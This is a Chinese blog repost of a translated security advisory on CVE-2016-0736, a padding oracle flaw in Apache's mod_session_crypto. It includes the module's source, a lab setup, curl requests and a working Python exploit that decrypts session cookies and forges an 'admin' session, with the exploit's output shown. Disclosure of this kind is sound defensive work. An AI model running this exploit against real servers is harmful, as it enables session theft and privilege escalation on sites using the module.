热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【漏洞分析】Apachemod_session_crypto模块中的PaddingOracle漏洞分析(含PoC)

翻译:shan66预估稿费:120RMB(不服你也来投稿啊!)投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿前言近日,安全研究人员在Web服务器Apache的mod_sessio

http://p4.qhimg.com/t01c305a502d58eb6c8.png


翻译:shan66

预估稿费:120RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

近日,安全研究人员在Web服务器Apache的mod_session_crypto模块中发现了一个Padding Oracle漏洞。攻击者可以利用这个漏洞来解密会话数据,甚至可以用来对指定的数据进行加密。


漏洞细节 

产品:Apache HTTP Server mod_session_crypto

受影响的版本:2.3到2.5

已经修复的版本:2.4.25

漏洞类型:Padding Oracle

安全风险:

供应商网址:https://httpd.apache.org/docs/trunk/mod/mod_session_crypto.html

供应商状态:已经发布修复版

公告网址:https://www.redteam-pentesting.de/advisories/rt-sa-2016-001.txt

公告状态:已发布

CVE:CVE-2016-0736

CVE网址:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0736 


引言 

人们可以联合使用Apache HTTP服务器的mod_session_crypto模块、mod_session模块和mod_session_COOKIE模块,将会话数据存储到用户浏览器中的加密COOKIE中。这样可以避免使用服务器端会话状态,从而便于将传入的HTTP请求分配到多个不需要共享会话状态的应用程序Web服务器上面。


更多细节 

模块mod_session_crypto使用对称加密技术来加密和解密会话数据,并使用mod_session将加密后的数据存储到用户浏览器的COOKIE(通常称为“会话”)中。之后,可以将解密的会话用于应用程序的环境变量或自定义的HTTP请求头部中。应用程序可以添加自定义的HTTP响应头部(通常是“X-Replace-Session”),通知HTTP服务器使用该头部的值替换该会话的内容。设置mod_session和mod_session_crypto的具体方法请参考下列文档: 

https://httpd.apache.org/docs/2.4/mod/mod_session.html#basicexamples

模块mod_session_crypto被配置为使用3DES或AES加密算法(密钥大小视具体情况而定),默认为AES256。具体的加密工作是由函数“encrypt_string”完成的: 

modules/session/mod_session_crypto.c

/**
 * Encrypt the string given as per the current config.
 *
 * Returns APR_SUCCESS if successful.
 */
static apr_status_t encrypt_string(request_rec * r, const apr_crypto_t *f,
        session_crypto_dir_conf *dconf, const char *in, char **out)
{
[...]
    apr_crypto_key_t *key = NULL;
[...]
    const unsigned char *iv = NULL;
[...]
    /* use a uuid as a salt value, and prepend it to our result */
    apr_uuid_get(&salt);
[...]
    res = apr_crypto_passphrase(&key, &ivSize, passphrase,
            strlen(passphrase),
            (unsigned char *) (&salt), sizeof(apr_uuid_t),
            *cipher, APR_MODE_CBC, 1, 4096, f, r->pool);
[...]
    res = apr_crypto_block_encrypt_init(&block, &iv, key, &blockSize, r->pool);
[...]
    res = apr_crypto_block_encrypt(&encrypt, &encryptlen, (unsigned char *)in,
            strlen(in), block);
[...]
    res = apr_crypto_block_encrypt_finish(encrypt + encryptlen, &tlen, block);
[...]
    /* prepend the salt and the iv to the result */
    combined = apr_palloc(r->pool, ivSize + encryptlen + sizeof(apr_uuid_t));
    memcpy(combined, &salt, sizeof(apr_uuid_t));
    memcpy(combined + sizeof(apr_uuid_t), iv, ivSize);
    memcpy(combined + sizeof(apr_uuid_t) + ivSize, encrypt, encryptlen);
    /* base64 encode the result */
    base64 = apr_palloc(r->pool, apr_base64_encode_len(ivSize + encryptlen +
                    sizeof(apr_uuid_t) + 1)
            * sizeof(char));
[...]
    return res;
}

源代码显示加密密钥是根据配置的密码和随机选择的salt通过调用函数“apr_crypto_passphrase”生成的。这个函数在内部使用PBKDF2来生成钥匙。然后,对数据进行加密,并将salt和IV放到加密后的数据前面。在返回之前,该函数会对加密数据进行base64编码处理。

由于这个过程无法保证密文的完整性,所以Apache模块无法检测会话送回服务器之前是否已经被篡改了。这常常意味着攻击者能够利用Padding Oracle漏洞发动攻击,即对会话进行解密并加密指定的任意数据。


概念验证代码(POC)

下面我们来复现这个安全漏洞。首先,启用模块mod_session、mod_session_crypto和mod_session_COOKIE,并进行如下所示的配置: 

Session On
SessionEnv On
SessionCOOKIEName session path=/
SessionHeader X-Replace-Session
SessionCryptoPassphrase RedTeam

此外,为文件夹编写一个如下所示的CGI脚本,然后将该CGI脚本保存为“status.rb”,供客户端使用: 

#!/usr/bin/env ruby
require 'cgi'
cgi = CGI.new
data = CGI.parse(ENV['HTTP_SESSION'])
if data.has_key? 'username'
        puts
        puts "your username is %s" % data['username']
        exit
end
puts "X-Replace-Session: username=guest×tamp=" + Time.now.strftime("%s")
puts
puts "not logged in"

搞定这个CGI脚本后,我们就可以在命令行HTTP客户端中通过curl来访问它了: 

$ curl -i http://127.0.0.1:8080/cgi-bin/status.rb
HTTP/1.1 200 OK
Date: Tue, 19 Jan 2016 13:23:19 GMT
Server: Apache/2.4.10 (Ubuntu)
Set-COOKIE: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ
   l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/
Cache-Control: no-cache
Set-COOKIE: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ
   l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/
Transfer-Encoding: chunked
Content-Type: application/x-ruby
not logged in

该示例表明,返回了一个新的、名为“session”的加密COOKIE,并且响应正文中包含文本“not logged in”。

使用刚才返回的COOKIE再次调用上面的脚本,可以看到会话中的用户名为“guest”: 

$ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp
LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU= 
http://127.0.0.1:8080/cgi-bin/status.rb
your username is guest

现在修改这个COOKIE,让它以“u =”结尾,而非"U =",然后发送修改后的COOKIE,由于尾部的填充物会导致该COOKIE失效,所以该会话就无法正确解密,也就无法传递给该CGI脚本了,所以,将再次返回文本“not logged in”: 

$ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp
LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRu= 
http://127.0.0.1:8080/cgi-bin/status.rb
not logged in

这证明确实存在Padding Oracle漏洞。这样的话,我们就可以在Python库[1] python-paddingoracle的帮助下,通过利用这个Padding Oracle漏洞来解密会话。

exploit.py

from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
import requests
class PadBuster(PaddingOracle):
    def __init__(self, valid_COOKIE, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.wait = kwargs.get('wait', 2.0)
        self.valid_COOKIE = valid_COOKIE
    def oracle(self, data, **kwargs):
        v = b64encode(self.valid_COOKIE+data)
        response = requests.get('http://127.0.0.1:8080/cgi-bin/status.rb',
                COOKIEs=dict(session=v), stream=False, timeout=5, verify=False)
        if 'username' in response.content:
            logging.debug('No padding exception raised on %r', v)
            return
        raise BadPaddingException
if __name__ == '__main__':
    import logging
    import sys
    if not sys.argv[2:]:
        print 'Usage: [encrypt|decrypt]  

'<br>        sys.exit(1)<br>    logging.basicConfig(level=logging.WARN)<br>    mode = sys.argv[1]<br>    session = b64decode(sys.argv[2])<br>    padbuster = PadBuster(session)<br>    if mode == "decrypt":<br>        COOKIE = padbuster.decrypt(session[32:], block_size=16, iv=session[16:32])<br>        print('Decrypted session:n%r' % COOKIE)<br>    elif mode == "encrypt":<br>        key = session[0:16]<br>        plaintext = sys.argv[3]<br>        s = padbuster.encrypt(plaintext, block_size=16)<br>        data = b64encode(key+s[0:len(s)-16])<br>        print('Encrypted session:n%s' % data)<br>    else:<br>        print "invalid mode"<br>        sys.exit(1)</code></pre><p><span>然后,我们就可以通过此Python脚本来解密会话了: </span></p><p><span></span></p><p><code>$ time python exploit.py decrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4<br>Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=<br>Decrypted session:<br>b'username=guest&timestamp=1453282205rrrrrrrrrrrrr'<br>real    6m43.088s<br>user    0m15.464s<br>sys 0m0.976s</code></pre><p><span>在这个示例应用程序中,会话数据包括用户名和时间戳。该Python脚本也可以用来对包含用户名"admin"的新会话进行加密: </span></p><p><span></span></p><p><code>$ time python exploit.py encrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4<br>Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYB<br>RU= username=admin<br>Encrypted session:<br>sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7zmQ/GLFjF4pcXY<br>real3m38.002s<br>users0m8.536s<br>sys0m0.512s</code></pre><p><span>如果将这个新加密的会话发送到服务器,这次显示用户名就会变成“admin”: </span></p><p><span></span></p><p><code>$ curl -b session=sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7<br>zmQ/GLFjF4pcXY http://127.0.0.1:8080/cgi-bin/status.rb<br>your username is admin</code></pre><p><span></span></p><p><span ><strong><span>解决方法 </span></strong></span></p><p><span>使用其他方式来存储会话,例如使用mod_session_dbd保存到数据库中。</span></p><p><span><br></span></p><p><span ><strong><span>修复漏洞 </span></strong></span></p><p><span>更新到Apache HTTP版本2.4.25(参见</span><span>参考文献[2]</span><span>)。</span></p><p><span><br></span></p><p><span ><strong><span>安全风险</span></strong></span></p><p><span>使用mod_session_crypto模块的应用程序通常会把敏感的数据保存在在会话中,其安全性主要依赖于攻击者无法解密或修改该会话。如果存在Padding Oracle漏洞,那么攻击者能够利用它来破坏这种机制,并能够构造会话,放入攻击者指定的任意内容。根据应用程序本身的情况,有可能给它的安全性带来致命的打击。所以,这个一个高危漏洞。</span></p><p><span><br></span></p><p><span ><strong><span>参考文献 </span></strong></span></p><p><span>[1] https://github.com/mwielgoszewski/python-paddingoracle</span></p><p><span>[2] http://httpd.apache.org/security/vulnerabilities_24.html</span></p> <br> <script type="text/javascript"> var cpro_id = "u6885494"; </script> <script type="text/javascript" src="//cpro.baidustatic.com/cpro/ui/cm.js"></script> </div> <div class="blog_tags"> <ul> <li><a href="https://www.php1.cn/tag/漏洞" target="_blank" title="漏洞">漏洞</a></li> <li><a href="https://www.php1.cn/tag/apache" target="_blank" title="apache">apache</a></li> <li><a href="https://www.php1.cn/tag/session" target="_blank" title="session">session</a></li> <li><a href="https://www.php1.cn/tag/oracle" target="_blank" title="oracle">oracle</a></li> <li><a href="https://www.php1.cn/tag/安全" target="_blank" title="安全">安全</a></li> <li><a href="https://www.php1.cn/tag/web" target="_blank" title="web">web</a></li> <li><a href="https://www.php1.cn/tag/服务器" target="_blank" title="服务器">服务器</a></li> <li><a href="https://www.php1.cn/tag/加密" target="_blank" title="加密">加密</a></li> <li><a href="https://www.php1.cn/tag/http" target="_blank" title="http">http</a></li> </ul> </div> <div class="article_cmnt" style="display: none;"> <div class="cmnt_title">写下你的评论吧 !</div> <form action="" method="post"> <div class="cmnt_text"> <textarea class="ping-txt" onfocus="ck_txt(this);" onblur="ck_txt2(this);" id="ping-txt" name="ping-txt" >吐个槽吧,看都看了</textarea> </div> <div class="cmnt_cmt"> <div class="cmnt_login_box"> <a href="https://www.php1.cn/?s=user/login/index&from=https%3A%2F%2Fwww.php1.cn%2Fdetail%2FLouDongFenXi_Apa_5d0d6b33.html">会员登录</a> | <a href="http://www.php1.cn/?s=user/reg/index">用户注册</a> </div> <div class="post_cmnt"><input type="button" value="吐 &nbsp;槽" onclick="post_ping();" /></div> </div> </form> </div> <div class="article_recommend"> <div class="list_top">推荐阅读</div> <div class="ListItems"> <ul class="NewsList"> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/server" title="server" target="_blank">server<i></i></a> <h2><a href="https://www.php1.cn/detail/XianZhi_php_ShuJ_f6fd77bc.html" target="_blank" title="如何限制php数据库链接数和连接超时时间?">如何限制php数据库链接数和连接超时时间?</a></h2> </div> <div class="NewsInfo"> <div class="NewsDesc" > 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... <a href="https://www.php1.cn/detail/XianZhi_php_ShuJ_f6fd77bc.html" target="_blank" title="如何限制php数据库链接数和连接超时时间?">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-14 14:06:10</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/post" title="post" target="_blank">post<i></i></a> <h2><a href="https://www.php1.cn/detail/vulhub_LouDongFu_8392945e.html" target="_blank" title="Webmin远程命令执行漏洞复现及防护方法">Webmin远程命令执行漏洞复现及防护方法</a></h2> </div> <div class="NewsInfo"> <div class="NewsImg"> <a href="https://www.php1.cn/detail/vulhub_LouDongFu_8392945e.html" target="_blank" title="Webmin远程命令执行漏洞复现及防护方法"><img src="https://img8.php1.cn/3cdc5/24897/978/579b35506c770d29.png" width="120" height="70" alt="Webmin远程命令执行漏洞复现及防护方法"/></a> </div> <div class="NewsDesc" style="width:calc(100% - 138px);margin-left:15px;"> 本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... <a href="https://www.php1.cn/detail/vulhub_LouDongFu_8392945e.html" target="_blank" title="Webmin远程命令执行漏洞复现及防护方法">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-13 16:14:53</span> </div> </li> <li style="height: 108px;overflow: hidden;"> <div class="_cha4gt2s496"></div> <script type="text/javascript"> (window.slotbydup = window.slotbydup || []).push({ id: "u6856773", container: "_cha4gt2s496", async: true }); </script> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/java" title="java" target="_blank">java<i></i></a> <h2><a href="https://www.php1.cn/detail/KaiFaBiJi_-_RaoG_e9531d5c.html" target="_blank" title="绕过WAF的XSS检测机制及构建XSS payload的方法">绕过WAF的XSS检测机制及构建XSS payload的方法</a></h2> </div> <div class="NewsInfo"> <div class="NewsDesc" > 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... <a href="https://www.php1.cn/detail/KaiFaBiJi_-_RaoG_e9531d5c.html" target="_blank" title="绕过WAF的XSS检测机制及构建XSS payload的方法">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-11 19:42:30</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/go" title="go" target="_blank">go<i></i></a> <h2><a href="https://www.php1.cn/detail/ShiftLeft-_MianX_d3887190.html" target="_blank" title="ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案">ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案</a></h2> </div> <div class="NewsInfo"> <div class="NewsImg"> <a href="https://www.php1.cn/detail/ShiftLeft-_MianX_d3887190.html" target="_blank" title="ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案"><img src="https://img1.php1.cn/3cd4a/25047/9f3/869a23ccba097043.png" width="120" height="70" alt="ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案"/></a> </div> <div class="NewsDesc" style="width:calc(100% - 138px);margin-left:15px;"> ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... <a href="https://www.php1.cn/detail/ShiftLeft-_MianX_d3887190.html" target="_blank" title="ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-10 10:45:15</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/get" title="get" target="_blank">get<i></i></a> <h2><a href="https://www.php1.cn/detail/QianTanMuLuLanLo_03564142.html" target="_blank" title="目录浏览漏洞与目录遍历漏洞的危害及修复方法">目录浏览漏洞与目录遍历漏洞的危害及修复方法</a></h2> </div> <div class="NewsInfo"> <div class="NewsImg"> <a href="https://www.php1.cn/detail/QianTanMuLuLanLo_03564142.html" target="_blank" title="目录浏览漏洞与目录遍历漏洞的危害及修复方法"><img src="https://img7.php1.cn/3cdc5/cd80/bdf/6992b5869ad42e15.png" width="120" height="70" alt="目录浏览漏洞与目录遍历漏洞的危害及修复方法"/></a> </div> <div class="NewsDesc" style="width:calc(100% - 138px);margin-left:15px;"> 本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... <a href="https://www.php1.cn/detail/QianTanMuLuLanLo_03564142.html" target="_blank" title="目录浏览漏洞与目录遍历漏洞的危害及修复方法">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-09 23:30:30</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/java" title="java" target="_blank">java<i></i></a> <h2><a href="https://www.php1.cn/detail/ApacheShiro_Shen_b54260f8.html" target="_blank" title="Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施">Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施</a></h2> </div> <div class="NewsInfo"> <div class="NewsImg"> <a href="https://www.php1.cn/detail/ApacheShiro_Shen_b54260f8.html" target="_blank" title="Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施"><img src="https://img8.php1.cn/3cdc5/246ab/ae9/3fca2b4057c07dff.png" width="120" height="70" alt="Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施"/></a> </div> <div class="NewsDesc" style="width:calc(100% - 138px);margin-left:15px;"> 本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... <a href="https://www.php1.cn/detail/ApacheShiro_Shen_b54260f8.html" target="_blank" title="Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-09 19:58:36</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/get" title="get" target="_blank">get<i></i></a> <h2><a href="https://www.php1.cn/detail/YiFaSongBiaoDanS_7cc34b1a.html" target="_blank" title="【译】发送表单数据">【译】发送表单数据</a></h2> </div> <div class="NewsInfo"> <div class="NewsDesc" > 这是原文链接&#xff1a;sendingformdata许多情况下&#xff0c;我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单&#xff0c;但是 ... <a href="https://www.php1.cn/detail/YiFaSongBiaoDanS_7cc34b1a.html" target="_blank" title="【译】发送表单数据">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-14 16:19:10</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/java" title="java" target="_blank">java<i></i></a> <h2><a href="https://www.php1.cn/detail/java_XuLieHuaDui_7d3461c0.html" target="_blank" title="Java序列化对象传给PHP的方法及原理解析">Java序列化对象传给PHP的方法及原理解析</a></h2> </div> <div class="NewsInfo"> <div class="NewsImg"> <a href="https://www.php1.cn/detail/java_XuLieHuaDui_7d3461c0.html" target="_blank" title="Java序列化对象传给PHP的方法及原理解析"><img src="https://img8.php1.cn/3cdc5/24912/8fd/74343d03311e0f8b.jpeg" width="120" height="70" alt="Java序列化对象传给PHP的方法及原理解析"/></a> </div> <div class="NewsDesc" style="width:calc(100% - 138px);margin-left:15px;"> 本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... <a href="https://www.php1.cn/detail/java_XuLieHuaDui_7d3461c0.html" target="_blank" title="Java序列化对象传给PHP的方法及原理解析">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-14 15:25:15</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/java" title="java" target="_blank">java<i></i></a> <h2><a href="https://www.php1.cn/detail/Web_XueXiLiCheng_008050e6.html" target="_blank" title="Web学习历程记录(七)——Tomcat基本概念和配置">Web学习历程记录(七)——Tomcat基本概念和配置</a></h2> </div> <div class="NewsInfo"> <div class="NewsDesc" > 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... <a href="https://www.php1.cn/detail/Web_XueXiLiCheng_008050e6.html" target="_blank" title="Web学习历程记录(七)——Tomcat基本概念和配置">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-13 17:08:24</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/get" title="get" target="_blank">get<i></i></a> <h2><a href="https://www.php1.cn/detail/NanYou_ctf-web_D_dff604be.html" target="_blank" title="南邮ctf-web的writeup">南邮ctf-web的writeup</a></h2> </div> <div class="NewsInfo"> <div class="NewsDesc" > 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... <a href="https://www.php1.cn/detail/NanYou_ctf-web_D_dff604be.html" target="_blank" title="南邮ctf-web的writeup">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-13 10:58:55</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/int" title="int" target="_blank">int<i></i></a> <h2><a href="https://www.php1.cn/detail/CentOS7_BuShu_KV_67c72cd1.html" target="_blank" title="CentOS 7部署KVM虚拟化环境之一架构介绍">CentOS 7部署KVM虚拟化环境之一架构介绍</a></h2> </div> <div class="NewsInfo"> <div class="NewsImg"> <a href="https://www.php1.cn/detail/CentOS7_BuShu_KV_67c72cd1.html" target="_blank" title="CentOS 7部署KVM虚拟化环境之一架构介绍"><img src="https://img1.php1.cn/3cd4a/24f51/8fd/be8caea70dc21751.jpeg" width="120" height="70" alt="CentOS 7部署KVM虚拟化环境之一架构介绍"/></a> </div> <div class="NewsDesc" style="width:calc(100% - 138px);margin-left:15px;"> 本文介绍了CentOS 7部署KVM虚拟化环境的架构,详细解释了虚拟化技术的概念和原理,包括全虚拟化和半虚拟化。同时介绍了虚拟机的概念和虚拟化软件的作用。 ... <a href="https://www.php1.cn/detail/CentOS7_BuShu_KV_67c72cd1.html" target="_blank" title="CentOS 7部署KVM虚拟化环境之一架构介绍">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-12 21:38:57</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/int" title="int" target="_blank">int<i></i></a> <h2><a href="https://www.php1.cn/detail/XiaoLingGuanDian_c4105860.html" target="_blank" title="数字账号安全与数据资产问题的研究及解决方案">数字账号安全与数据资产问题的研究及解决方案</a></h2> </div> <div class="NewsInfo"> <div class="NewsImg"> <a href="https://www.php1.cn/detail/XiaoLingGuanDian_c4105860.html" target="_blank" title="数字账号安全与数据资产问题的研究及解决方案"><img src="https://img8.php1.cn/3cdc5/2481c/ae9/eeee351dfbe75069.png" width="120" height="70" alt="数字账号安全与数据资产问题的研究及解决方案"/></a> </div> <div class="NewsDesc" style="width:calc(100% - 138px);margin-left:15px;"> 本文研究了数字账号安全与数据资产问题,并提出了解决方案。近期,大量QQ账号被盗事件引起了广泛关注。欺诈者对数字账号的价值认识超过了账号主人,因此他们不断攻击和盗用账号。然而,平台和账号主人对账号安全问题的态度不正确,只有用户自身意识到问题的严重性并采取行动,才能推动平台优先解决这些问题。本文旨在提醒用户关注账号安全,并呼吁平台承担起更多的责任。令牌云团队对此进行了长期深入的研究,并提出了相应的解决方案。 ... <a href="https://www.php1.cn/detail/XiaoLingGuanDian_c4105860.html" target="_blank" title="数字账号安全与数据资产问题的研究及解决方案">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-12 19:43:01</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/int" title="int" target="_blank">int<i></i></a> <h2><a href="https://www.php1.cn/detail/DanDianDengLuYua_8fe3f5a0.html" target="_blank" title="单点登录原理及实现方案详解">单点登录原理及实现方案详解</a></h2> </div> <div class="NewsInfo"> <div class="NewsImg"> <a href="https://www.php1.cn/detail/DanDianDengLuYua_8fe3f5a0.html" target="_blank" title="单点登录原理及实现方案详解"><img src="https://img8.php1.cn/3cdc5/2481c/ae9/288bb4a3e382f0a6.jpeg" width="120" height="70" alt="单点登录原理及实现方案详解"/></a> </div> <div class="NewsDesc" style="width:calc(100% - 138px);margin-left:15px;"> 本文详细介绍了单点登录的原理及实现方案,其中包括共享Session的方式,以及基于Redis的Session共享方案。同时,还分享了作者在应用环境中所遇到的问题和经验,希望对读者有所帮助。 ... <a href="https://www.php1.cn/detail/DanDianDengLuYua_8fe3f5a0.html" target="_blank" title="单点登录原理及实现方案详解">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-12 19:23:28</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/int" title="int" target="_blank">int<i></i></a> <h2><a href="https://www.php1.cn/detail/ajaxsessiontimeo_222bfaec.html" target="_blank" title="AJAX操作授权过期的全局处理方式">AJAX操作授权过期的全局处理方式</a></h2> </div> <div class="NewsInfo"> <div class="NewsDesc" > 本文介绍了一种处理AJAX操作授权过期的全局方式,以解决Asp.net MVC中Session过期异常的问题。同时还介绍了基于WebImage的图片上传工具类。详细内容请参考链接:https://www.cnblogs.com/starluck/p/8284949.html ... <a href="https://www.php1.cn/detail/ajaxsessiontimeo_222bfaec.html" target="_blank" title="AJAX操作授权过期的全局处理方式">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-11 19:17:35</span> </div> </li> <li> <div class="NewTitle"> <a class="cat" href="https://www.php1.cn/tag/java" title="java" target="_blank">java<i></i></a> <h2><a href="https://www.php1.cn/detail/Servlet_ZhiDuiDu_06ebada9.html" target="_blank" title="Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案">Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案</a></h2> </div> <div class="NewsInfo"> <div class="NewsImg"> <a href="https://www.php1.cn/detail/Servlet_ZhiDuiDu_06ebada9.html" target="_blank" title="Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案"><img src="https://img8.php1.cn/3cdc5/24726/711/95a4f14cc7b7ba4e.png" width="120" height="70" 